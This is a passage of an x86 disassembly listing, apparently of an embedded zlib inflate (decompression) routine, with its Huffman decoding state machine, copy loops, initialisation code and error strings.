eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_50C71B ; jumptable 0050C665 case 1 ; --------------------------------------------------------------------------- loc_50C74B: ; CODE XREF: sub_50C61A+107j mov eax, ds:dword_510318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test ecx, ecx mov [ebp+var_18], ecx jnz short loc_50C78D mov eax, [eax+4] mov dword ptr [ebx], 6 mov [ebx+8], eax loc_50C785: ; CODE XREF: sub_50C61A+18Dj ; sub_50C61A+1A7j ... mov eax, [ebp+var_C] jmp loc_50C65A ; --------------------------------------------------------------------------- loc_50C78D: ; CODE XREF: sub_50C61A+15Dj mov ecx, [ebp+var_18] test cl, 10h jz short loc_50C7A9 and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+4], eax mov dword ptr [ebx], 2 jmp short loc_50C785 ; --------------------------------------------------------------------------- loc_50C7A9: ; CODE XREF: sub_50C61A+179j test cl, 40h jz loc_50C89A test cl, 20h jz loc_50CA9A mov dword ptr [ebx], 7 jmp short loc_50C785 ; --------------------------------------------------------------------------- loc_50C7C3: ; CODE XREF: sub_50C61A+4Bj ; sub_50C61A+1D7j ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 0050C665 case 2 cmp [ebp+arg_0], eax jnb short loc_50C7F3 cmp [ebp+var_8], 0 jz loc_50CA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_50C7C3 ; jumptable 0050C665 case 2 ; --------------------------------------------------------------------------- loc_50C7F3: ; CODE XREF: sub_50C61A+1AFj mov eax, ds:dword_510318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 3 shr [ebp+arg_4], cl add [ebx+4], eax mov eax, ecx sub [ebp+arg_0], eax movzx eax, byte ptr [ebx+11h] mov [ebx+0Ch], eax mov eax, [ebx+18h] mov [ebx+8], eax loc_50C81E: ; CODE XREF: sub_50C61A+4Bj ; sub_50C61A+232j ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 0050C665 case 3 cmp [ebp+arg_0], eax jnb short loc_50C84E cmp [ebp+var_8], 0 jz loc_50CA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_50C81E ; jumptable 0050C665 case 3 ; --------------------------------------------------------------------------- loc_50C84E: ; CODE XREF: sub_50C61A+20Aj mov eax, ds:dword_510318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test cl, 10h jz short loc_50C891 and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+0Ch], eax mov dword ptr [ebx], 4 jmp loc_50C785 ; --------------------------------------------------------------------------- loc_50C891: ; CODE XREF: sub_50C61A+25Ej test cl, 40h jnz loc_50CACF loc_50C89A: ; CODE XREF: sub_50C61A+192j mov [ebx+0Ch], ecx mov ecx, [eax+4] lea eax, [eax+ecx*8] mov [ebx+8], eax jmp loc_50C785 ; --------------------------------------------------------------------------- loc_50C8AB: ; CODE XREF: sub_50C61A+4Bj ; sub_50C61A+2BFj ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 0050C665 case 4 cmp [ebp+arg_0], eax jnb short loc_50C8DB cmp [ebp+var_8], 0 jz loc_50CA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_50C8AB ; jumptable 0050C665 case 4 ; --------------------------------------------------------------------------- loc_50C8DB: ; CODE XREF: sub_50C61A+297j mov eax, ds:dword_510318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 5 shr [ebp+arg_4], cl add [ebx+0Ch], eax mov eax, ecx sub [ebp+arg_0], eax loc_50C8F9: ; CODE XREF: sub_50C61A+4Bj ; DATA XREF: _5:off_50CBB0o mov ecx, [edi+28h] ; jumptable 0050C665 case 5 mov eax, edx sub eax, [ebx+0Ch] cmp eax, ecx mov [ebp+var_10], eax jnb short loc_50C91E mov eax, [edi+2Ch] sub eax, ecx mov [ebp+var_18], eax loc_50C910: ; CODE XREF: sub_50C61A+302j mov eax, [ebp+var_10] add eax, [ebp+var_18] cmp eax, [edi+28h] mov [ebp+var_10], eax jb short loc_50C910 loc_50C91E: ; CODE XREF: sub_50C61A+2ECj cmp dword ptr [ebx+4], 0 mov eax, [ebp+var_C] jz loc_50C9E3 loc_50C92B: ; CODE XREF: sub_50C61A+3C3j test eax, eax jnz loc_50C9B9 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_50C95B mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_50C95B mov edx, ecx cmp edx, eax jnb short loc_50C952 sub eax, edx dec eax jmp short loc_50C957 ; --------------------------------------------------------------------------- loc_50C952: ; CODE XREF: sub_50C61A+331j mov eax, [ebp+var_14] sub eax, edx loc_50C957: ; CODE XREF: sub_50C61A+336j test eax, eax jnz short loc_50C9B9 loc_50C95B: ; CODE XREF: sub_50C61A+321j ; sub_50C61A+32Bj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_50D8DE mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_50C980 sub eax, edx dec eax jmp short loc_50C985 ; --------------------------------------------------------------------------- loc_50C980: ; CODE XREF: sub_50C61A+35Fj mov eax, [edi+2Ch] sub eax, edx loc_50C985: ; CODE XREF: sub_50C61A+364j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_50C9B1 mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_50C9AE mov edx, ecx cmp edx, eax jnb short loc_50C9A7 sub eax, edx dec eax jmp short loc_50C9B1 ; --------------------------------------------------------------------------- loc_50C9A7: ; CODE XREF: sub_50C61A+386j mov eax, [ebp+var_14] sub eax, edx jmp short loc_50C9B1 ; --------------------------------------------------------------------------- loc_50C9AE: ; CODE XREF: sub_50C61A+380j mov eax, [ebp+var_C] loc_50C9B1: ; CODE XREF: sub_50C61A+376j ; sub_50C61A+38Bj ... test eax, eax jz loc_50CADE loc_50C9B9: ; CODE XREF: sub_50C61A+313j ; sub_50C61A+33Fj mov ecx, [ebp+var_10] and [ebp+arg_8], 0 mov cl, [ecx] mov [edx], cl inc edx inc [ebp+var_10] dec eax mov ecx, [ebp+var_10] mov [ebp+var_C], eax cmp ecx, [edi+2Ch] jnz short loc_50C9DA mov ecx, [edi+28h] mov [ebp+var_10], ecx loc_50C9DA: ; CODE XREF: sub_50C61A+3B8j dec dword ptr [ebx+4] jnz loc_50C92B loc_50C9E3: ; CODE XREF: sub_50C61A+30Bj ; sub_50C61A+469j and dword ptr [ebx], 0 jmp loc_50C65A ; --------------------------------------------------------------------------- loc_50C9EB: ; CODE XREF: sub_50C61A+4Bj ; DATA XREF: _5:off_50CBB0o test eax, eax ; jumptable 0050C665 case 6 jnz loc_50CA75 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_50CA1B mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_50CA1B mov edx, ecx cmp edx, eax jnb short loc_50CA12 sub eax, edx dec eax jmp short loc_50CA17 ; --------------------------------------------------------------------------- loc_50CA12: ; CODE XREF: sub_50C61A+3F1j mov eax, [ebp+var_14] sub eax, edx loc_50CA17: ; CODE XREF: sub_50C61A+3F6j test eax, eax jnz short loc_50CA75 loc_50CA1B: ; CODE XREF: sub_50C61A+3E1j ; sub_50C61A+3EBj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_50D8DE mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_50CA40 sub eax, edx dec eax jmp short loc_50CA45 ; --------------------------------------------------------------------------- loc_50CA40: ; CODE XREF: sub_50C61A+41Fj mov eax, [edi+2Ch] sub eax, edx loc_50CA45: ; CODE XREF: sub_50C61A+424j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_50CA71 mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_50CA6E mov edx, ecx cmp edx, eax jnb short loc_50CA67 sub eax, edx dec eax jmp short loc_50CA71 ; --------------------------------------------------------------------------- loc_50CA67: ; CODE XREF: sub_50C61A+446j mov eax, [ebp+var_14] sub eax, edx jmp short loc_50CA71 ; --------------------------------------------------------------------------- loc_50CA6E: ; CODE XREF: sub_50C61A+440j mov eax, [ebp+var_C] loc_50CA71: ; CODE XREF: sub_50C61A+436j ; sub_50C61A+44Bj ... test eax, eax jz short loc_50CADE loc_50CA75: ; CODE XREF: sub_50C61A+3D3j ; sub_50C61A+3FFj mov cl, [ebx+8] and [ebp+arg_8], 0 mov [edx], cl inc edx dec eax mov [ebp+var_C], eax jmp loc_50C9E3 ; --------------------------------------------------------------------------- loc_50CA88: ; CODE XREF: sub_50C61A+10Dj ; sub_50C61A+1B5j ... mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax and dword ptr [esi+4], 0 jmp short loc_50CAF0 ; --------------------------------------------------------------------------- loc_50CA9A: ; CODE XREF: sub_50C61A+19Bj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code" loc_50CAA7: ; CODE XREF: sub_50C61A+4Bj ; sub_50C61A+4C2j ; DATA XREF: ... mov eax, [ebp+arg_4] ; jumptable 0050C665 case 9 push 0FFFFFFFDh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_50CBA1 ; --------------------------------------------------------------------------- loc_50CACF: ; CODE XREF: sub_50C61A+27Aj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance code" jmp short loc_50CAA7 ; jumptable 0050C665 case 9 ; --------------------------------------------------------------------------- loc_50CADE: ; CODE XREF: sub_50C61A+399j ; sub_50C61A+459j mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax loc_50CAF0: ; CODE XREF: sub_50C61A+47Ej mov eax, [ebp+var_4] push [ebp+arg_8] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_50CBA1 ; --------------------------------------------------------------------------- loc_50CB07: ; CODE XREF: sub_50C61A+4Bj ; DATA XREF: _5:off_50CBB0o cmp [ebp+arg_0], 7 ; jumptable 0050C665 case 7 jbe short loc_50CB17 sub [ebp+arg_0], 8 inc [ebp+var_8] dec [ebp+var_4] loc_50CB17: ; CODE XREF: sub_50C61A+4F1j push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_50D8DE mov edx, [edi+34h] add esp, 0Ch cmp [edi+30h], edx jz short loc_50CB53 mov ecx, [ebp+arg_4] push eax mov [edi+20h], ecx mov ecx, [ebp+arg_0] mov [edi+1Ch], ecx mov ecx, [ebp+var_8] mov [esi+4], ecx mov ecx, [ebp+var_4] mov ebx, ecx sub ebx, [esi] mov [esi], ecx add [esi+8], ebx mov [edi+34h], edx jmp short loc_50CBA1 ; --------------------------------------------------------------------------- loc_50CB53: ; CODE XREF: sub_50C61A+513j mov dword ptr [ebx], 8 loc_50CB59: ; CODE XREF: sub_50C61A+4Bj ; DATA XREF: _5:off_50CBB0o mov eax, [ebp+arg_4] ; jumptable 0050C665 case 8 push 1 mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp short loc_50CBA1 ; --------------------------------------------------------------------------- loc_50CB7E: ; CODE XREF: sub_50C61A+45j mov eax, [ebp+arg_4] ; default push 0FFFFFFFEh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx loc_50CBA1: ; CODE XREF: sub_50C61A+4B0j ; sub_50C61A+4E8j ... push esi push edi call sub_50D8DE add esp, 0Ch pop edi pop esi pop ebx leave retn sub_50C61A endp ; --------------------------------------------------------------------------- off_50CBB0 dd offset loc_50C66C ; DATA XREF: sub_50C61A+4Br dd offset loc_50C71B ; jump table for switch statement dd offset loc_50C7C3 dd offset loc_50C81E dd offset loc_50C8AB dd offset loc_50C8F9 dd offset loc_50C9EB dd offset loc_50CB07 dd offset loc_50CB59 dd offset loc_50CAA7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50CBD8 proc near ; CODE XREF: sub_50BB53+3Ap ; sub_50BC4B+5F7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_0] mov eax, [ebp+arg_4] push dword ptr [eax+28h] call dword ptr [eax+24h] pop ecx pop ecx pop ebp retn sub_50CBD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50CBEB proc near ; CODE XREF: sub_50C61A+9Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_10] push edi mov edi, [ebp+arg_14] mov ecx, [esi+34h] mov edx, [esi+1Ch] mov eax, [edi] mov [ebp+var_C], ecx mov [ebp+var_8], eax mov eax, [edi+4] mov [ebp+var_4], eax mov eax, [esi+20h] mov [ebp+arg_14], eax mov eax, [esi+30h] cmp ecx, eax jnb short loc_50CC20 sub eax, ecx dec eax jmp short loc_50CC25 ; --------------------------------------------------------------------------- loc_50CC20: ; CODE XREF: sub_50CBEB+2Ej mov eax, [esi+2Ch] sub eax, ecx loc_50CC25: ; CODE XREF: sub_50CBEB+33j mov [ebp+var_10], eax mov eax, [ebp+arg_0] mov eax, ds:dword_510318[eax*4] mov [ebp+var_14], eax mov eax, [ebp+arg_4] mov eax, ds:dword_510318[eax*4] mov [ebp+arg_4], eax loc_50CC42: ; CODE XREF: sub_50CBEB+72j ; sub_50CBEB+231j cmp edx, 14h jnb short loc_50CC5F mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_50CC42 ; --------------------------------------------------------------------------- loc_50CC5F: ; CODE XREF: sub_50CBEB+5Aj mov eax, [ebp+var_14] mov ecx, [ebp+arg_8] and eax, [ebp+arg_14] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx loc_50CC73: ; CODE XREF: sub_50CBEB+C4j movzx ecx, byte ptr [eax+1] jz loc_50CDF6 shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx mov ecx, [ebp+arg_0] test cl, 10h jnz short loc_50CCB1 test cl, 40h jnz loc_50CE56 mov ecx, ds:dword_510318[ecx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax] mov [ebp+arg_0], ecx test ecx, ecx jmp short loc_50CC73 ; --------------------------------------------------------------------------- loc_50CCB1: ; CODE XREF: sub_50CBEB+A1j and ecx, 0Fh mov esi, ds:dword_510318[ecx*4] and esi, [ebp+arg_14] shr [ebp+arg_14], cl add esi, [eax+4] sub edx, ecx mov [ebp+arg_0], esi loc_50CCC9: ; CODE XREF: sub_50CBEB+F9j cmp edx, 0Fh jnb short loc_50CCE6 mov eax, [ebp+var_8] dec [ebp+var_4] mov ecx, edx movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_14], eax inc [ebp+var_8] add edx, 8 jmp short loc_50CCC9 ; --------------------------------------------------------------------------- loc_50CCE6: ; CODE XREF: sub_50CBEB+E1j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_C] and eax, [ebp+arg_14] movzx ebx, byte ptr [ecx+eax*8] lea eax, [ecx+eax*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] sub edx, ecx loc_50CD03: ; CODE XREF: sub_50CBEB+146j test bl, 10h jnz short loc_50CD33 test bl, 40h jnz loc_50CE21 mov ecx, ds:dword_510318[ebx*4] and ecx, [ebp+arg_14] add ecx, [eax+4] movzx ebx, byte ptr [eax+ecx*8] lea eax, [eax+ecx*8] movzx ecx, byte ptr [eax+1] shr [ebp+arg_14], cl mov [ebp+var_18], ecx sub edx, ecx jmp short loc_50CD03 ; --------------------------------------------------------------------------- loc_50CD33: ; CODE XREF: sub_50CBEB+11Bj and ebx, 0Fh loc_50CD36: ; CODE XREF: sub_50CBEB+165j cmp edx, ebx jnb short loc_50CD52 mov ecx, [ebp+var_8] dec [ebp+var_4] movzx esi, byte ptr [ecx] mov ecx, edx shl esi, cl or [ebp+arg_14], esi inc [ebp+var_8] add edx, 8 jmp short loc_50CD36 ; --------------------------------------------------------------------------- loc_50CD52: ; CODE XREF: sub_50CBEB+14Dj mov esi, ds:dword_510318[ebx*4] mov ecx, ebx and esi, [ebp+arg_14] sub edx, ebx shr [ebp+arg_14], cl add esi, [eax+4] mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] sub [ebp+var_10], eax mov ebx, [ebp+arg_10] mov eax, ecx sub eax, esi mov esi, [ebx+28h] cmp eax, esi jnb short loc_50CDD2 mov ebx, [ebx+2Ch] mov [ebp+var_18], ebx sub ebx, esi loc_50CD85: ; CODE XREF: sub_50CBEB+19Ej add eax, ebx cmp eax, esi jb short loc_50CD85 mov esi, [ebp+var_18] sub esi, eax cmp [ebp+arg_0], esi jbe short loc_50CDB4 sub [ebp+arg_0], esi loc_50CD98: ; CODE XREF: sub_50CBEB+1B4j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec esi jnz short loc_50CD98 mov eax, [ebp+arg_10] mov esi, [eax+28h] loc_50CDA7: ; CODE XREF: sub_50CBEB+1C5j mov al, [esi] mov [ecx], al inc ecx inc esi dec [ebp+arg_0] jnz short loc_50CDA7 jmp short loc_50CDEE ; --------------------------------------------------------------------------- loc_50CDB4: ; CODE XREF: sub_50CBEB+1A8j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_50CDC5: ; CODE XREF: sub_50CBEB+1E3j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_50CDC5 jmp short loc_50CDEE ; --------------------------------------------------------------------------- loc_50CDD2: ; CODE XREF: sub_50CBEB+190j mov bl, [eax] mov [ecx], bl mov bl, [eax+1] inc ecx inc eax mov [ecx], bl inc ecx inc eax sub [ebp+arg_0], 2 loc_50CDE3: ; CODE XREF: sub_50CBEB+201j mov bl, [eax] mov [ecx], bl inc ecx inc eax dec [ebp+arg_0] jnz short loc_50CDE3 loc_50CDEE: ; CODE XREF: sub_50CBEB+1C7j ; sub_50CBEB+1E5j mov esi, [ebp+arg_10] mov [ebp+var_C], ecx jmp short loc_50CE0D ; --------------------------------------------------------------------------- loc_50CDF6: ; CODE XREF: sub_50CBEB+8Cj shr [ebp+arg_14], cl movzx ecx, byte ptr [eax+1] mov al, [eax+4] sub edx, ecx mov ecx, [ebp+var_C] inc [ebp+var_C] dec [ebp+var_10] mov [ecx], al loc_50CE0D: ; CODE XREF: sub_50CBEB+209j cmp [ebp+var_10], 102h jb short loc_50CE41 cmp [ebp+var_4], 0Ah jb short loc_50CE41 jmp loc_50CC42 ; --------------------------------------------------------------------------- loc_50CE21: ; CODE XREF: sub_50CBEB+120j mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidDistanc ; "invalid distance code" shr eax, 3 cmp eax, ecx jnb short loc_50CE39 mov ecx, eax loc_50CE39: ; CODE XREF: sub_50CBEB+24Aj mov esi, [ebp+arg_10] push 0FFFFFFFDh pop eax jmp short loc_50CE8B ; --------------------------------------------------------------------------- loc_50CE41: ; CODE XREF: sub_50CBEB+229j ; sub_50CBEB+22Fj mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_50CE52 mov ecx, eax loc_50CE52: ; CODE XREF: sub_50CBEB+263j xor eax, eax jmp short loc_50CE8B ; --------------------------------------------------------------------------- loc_50CE56: ; CODE XREF: sub_50CBEB+A6j test cl, 20h jz short loc_50CE70 mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] shr eax, 3 cmp eax, ecx jnb short loc_50CE6C mov ecx, eax loc_50CE6C: ; CODE XREF: sub_50CBEB+27Dj push 1 jmp short loc_50CE8A ; --------------------------------------------------------------------------- loc_50CE70: ; CODE XREF: sub_50CBEB+26Ej mov ecx, [edi+4] mov eax, edx sub ecx, [ebp+var_4] mov dword ptr [edi+18h], offset aInvalidLiteral ; "invalid literal/length code" shr eax, 3 cmp eax, ecx jnb short loc_50CE88 mov ecx, eax loc_50CE88: ; CODE XREF: sub_50CBEB+299j push 0FFFFFFFDh loc_50CE8A: ; CODE XREF: sub_50CBEB+283j pop eax loc_50CE8B: ; CODE XREF: sub_50CBEB+254j ; sub_50CBEB+269j mov ebx, [ebp+arg_14] sub [ebp+var_8], ecx mov [esi+20h], ebx mov ebx, ecx shl ebx, 3 sub edx, ebx mov [esi+1Ch], edx mov edx, [ebp+var_4] add ecx, edx mov [edi+4], ecx mov ecx, [ebp+var_8] mov edx, ecx sub edx, [edi] mov [edi], ecx mov ecx, [ebp+var_C] add [edi+8], edx mov [esi+34h], ecx pop edi pop esi pop ebx leave retn sub_50CBEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50CEBD proc near ; CODE XREF: sub_50CF41+D4p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] xor edx, edx cmp eax, edx jz short loc_50CEFB mov ecx, [eax+1Ch] cmp ecx, edx jz short loc_50CEFB push esi mov [eax+14h], edx mov [eax+8], edx mov [eax+18h], edx mov esi, [ecx+0Ch] push edx neg esi sbb esi, esi push eax and esi, 7 mov [ecx], esi mov eax, [eax+1Ch] push dword ptr [eax+14h] call sub_50BB53 add esp, 0Ch xor eax, eax pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_50CEFB: ; CODE XREF: sub_50CEBD+Aj ; sub_50CEBD+11j push 0FFFFFFFEh pop eax pop ebp retn sub_50CEBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50CF00 proc near ; CODE XREF: sub_50CF41+C9p ; sub_50D9F3+59p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_50CF3B mov eax, [esi+1Ch] test eax, eax jz short loc_50CF3B cmp dword ptr [esi+24h], 0 jz short loc_50CF3B mov eax, [eax+14h] test eax, eax jz short loc_50CF28 push esi push eax call sub_50C5B0 pop ecx pop ecx loc_50CF28: ; CODE XREF: sub_50CF00+1Dj push dword ptr [esi+1Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] and dword ptr [esi+1Ch], 0 pop ecx pop ecx xor eax, eax jmp short loc_50CF3E ; --------------------------------------------------------------------------- loc_50CF3B: ; CODE XREF: sub_50CF00+9j ; sub_50CF00+10j ... push 0FFFFFFFEh pop eax loc_50CF3E: ; CODE XREF: sub_50CF00+39j pop esi pop ebp retn sub_50CF00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50CF41 proc near ; CODE XREF: sub_50D02B+Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_8] push ebx push esi push edi xor edi, edi cmp eax, edi jz loc_50D023 mov al, [eax] cmp al, ds:byte_50F0A8 jnz loc_50D023 cmp [ebp+arg_C], 38h jnz loc_50D023 mov esi, [ebp+arg_0] cmp esi, edi jnz short loc_50CF7A push 0FFFFFFFEh jmp loc_50D025 ; --------------------------------------------------------------------------- loc_50CF7A: ; CODE XREF: sub_50CF41+30j cmp [esi+20h], edi mov [esi+18h], edi jnz short loc_50CF8C mov dword ptr [esi+20h], offset sub_50DA72 mov [esi+28h], edi loc_50CF8C: ; CODE XREF: sub_50CF41+3Fj cmp [esi+24h], edi jnz short loc_50CF98 mov dword ptr [esi+24h], offset sub_50DA8C loc_50CF98: ; CODE XREF: sub_50CF41+4Ej push 18h push 1 pop ebx push ebx push dword ptr [esi+28h] call dword ptr [esi+20h] add esp, 0Ch cmp eax, edi mov [esi+1Ch], eax jnz short loc_50CFB2 push 0FFFFFFFCh jmp short loc_50D025 ; --------------------------------------------------------------------------- loc_50CFB2: ; CODE XREF: sub_50CF41+6Bj mov ecx, [ebp+arg_4] mov [eax+14h], edi mov eax, [esi+1Ch] cmp ecx, edi mov [eax+0Ch], edi jge short loc_50CFCA mov eax, [esi+1Ch] neg ecx mov [eax+0Ch], ebx loc_50CFCA: ; CODE XREF: sub_50CF41+7Fj cmp ecx, 8 jl short loc_50D01F cmp ecx, 0Fh jg short loc_50D01F mov eax, [esi+1Ch] shl ebx, cl mov [eax+10h], ecx mov eax, [esi+1Ch] mov eax, [eax+0Ch] neg eax sbb eax, eax push ebx not eax and eax, offset sub_4FCF6E push eax push esi call sub_50BBBF mov ecx, [esi+1Ch] add esp, 0Ch mov [ecx+14h], eax mov eax, [esi+1Ch] cmp [eax+14h], edi jnz short loc_50D014 push 0FFFFFFFCh loc_50D008: ; CODE XREF: sub_50CF41+E0j pop edi push esi call sub_50CF00 pop ecx mov eax, edi jmp short loc_50D026 ; --------------------------------------------------------------------------- loc_50D014: ; CODE XREF: sub_50CF41+C3j push esi call sub_50CEBD pop ecx xor eax, eax jmp short loc_50D026 ; --------------------------------------------------------------------------- loc_50D01F: ; CODE XREF: sub_50CF41+8Cj ; sub_50CF41+91j push 0FFFFFFFEh jmp short loc_50D008 ; --------------------------------------------------------------------------- loc_50D023: ; CODE XREF: sub_50CF41+Dj ; sub_50CF41+1Bj ... push 0FFFFFFFAh loc_50D025: ; CODE XREF: sub_50CF41+34j ; sub_50CF41+6Fj pop eax loc_50D026: ; CODE XREF: sub_50CF41+D1j ; sub_50CF41+DCj pop edi pop esi pop ebx pop ebp retn sub_50CF41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D02B proc near ; CODE XREF: sub_50D9F3+35p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] push 0Fh push [ebp+arg_0] call sub_50CF41 add esp, 10h pop ebp retn sub_50D02B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_50D043 proc near ; CODE XREF: sub_50D9F3+47p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] xor eax, eax cmp esi, eax push edi jz loc_50D355 ; default cmp [esi+1Ch], eax jz loc_50D355 ; default cmp [esi], eax jz loc_50D355 ; default cmp [ebp+arg_4], 4 push 0FFFFFFFBh pop ebx mov [ebp+arg_4], ebx jz short loc_50D076 mov [ebp+arg_4], eax loc_50D076: ; CODE XREF: sub_50D043+2Ej ; sub_50D043+111j push 0Dh pop edi loc_50D079: ; CODE XREF: sub_50D043+8Aj ; sub_50D043+FAj ... mov eax, [esi+1Ch] mov ecx, [eax] cmp ecx, edi ; switch 14 cases ja loc_50D355 ; default jmp ds:off_50D36E[ecx*4] ; switch jump loc_50D08D: ; DATA XREF: _5:off_50D36Eo mov ecx, [esi+4] ; jumptable 0050D086 case 0 test ecx, ecx jz loc_50D27F dec ecx inc dword ptr [esi+8] mov [esi+4], ecx mov ecx, [esi] mov ebx, [ebp+arg_4] movzx ecx, byte ptr [ecx] mov [eax+4], ecx mov eax, [esi+1Ch] mov ecx, [eax+4] and ecx, 0Fh inc dword ptr [esi] cmp cl, 8 jz short loc_50D0CF mov [eax], edi mov dword ptr [esi+18h], offset aUnknownCompres ; "unknown compression method" 